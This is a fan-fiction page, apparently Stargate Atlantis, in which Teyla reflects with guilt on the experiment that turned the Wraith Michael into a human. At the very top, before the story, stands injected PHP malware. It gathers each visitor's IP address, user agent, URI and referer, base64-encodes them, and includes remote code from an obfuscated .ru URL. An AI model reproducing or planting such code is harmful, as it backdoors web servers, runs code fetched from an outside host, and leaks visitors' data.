#error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdgahzzazbzczbgizb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdgahzzazbzczbgizb".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?> Guilt Is A Universal Language by Anise76
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Author's Chapter Notes:

So I wanted to explore the main characters' reactions to what happened with Michael. Teyla is the first in a series of 4.


He wants to know who he is. He remembers who he was, and who we tried to turn him into, but he doesn't know who he is NOW. What we did to him was life-shattering. We did not take into account his feelings, whether or not what we were doing is right.

We thought only about what would benefit us, and not what the ramifications of our actions would be. That makes us no better than the Wraith.

Dr Beckett thought that he was doing good. Maybe he was. However, even he believes that he has gone against his own creed of "first, do no harm". I have never seen a man so broken, so cowed and utterly different, changed by events which will haunt all of us to our graves.

My life was placed in danger through this experiment, and my first thoughts now are not for my own safety, my own wellbeing, but for how it must have affected him. Michael Kenmore. The Wraith. The killer.

We rationalised it to ourselves, telling ourselves that we were preventing this particular Wraith from ever killing again. How wrong we were. How proud, boastful and sure of ourselves we were.

How wrong we were. How stupidly, recklessly wrong.

I cannot condone the actions I took, I cannot even truly understand them. I simply hope that, one day, in some small way, some good can come of this.

Then maybe I can wash the blood from my hands once and for all.

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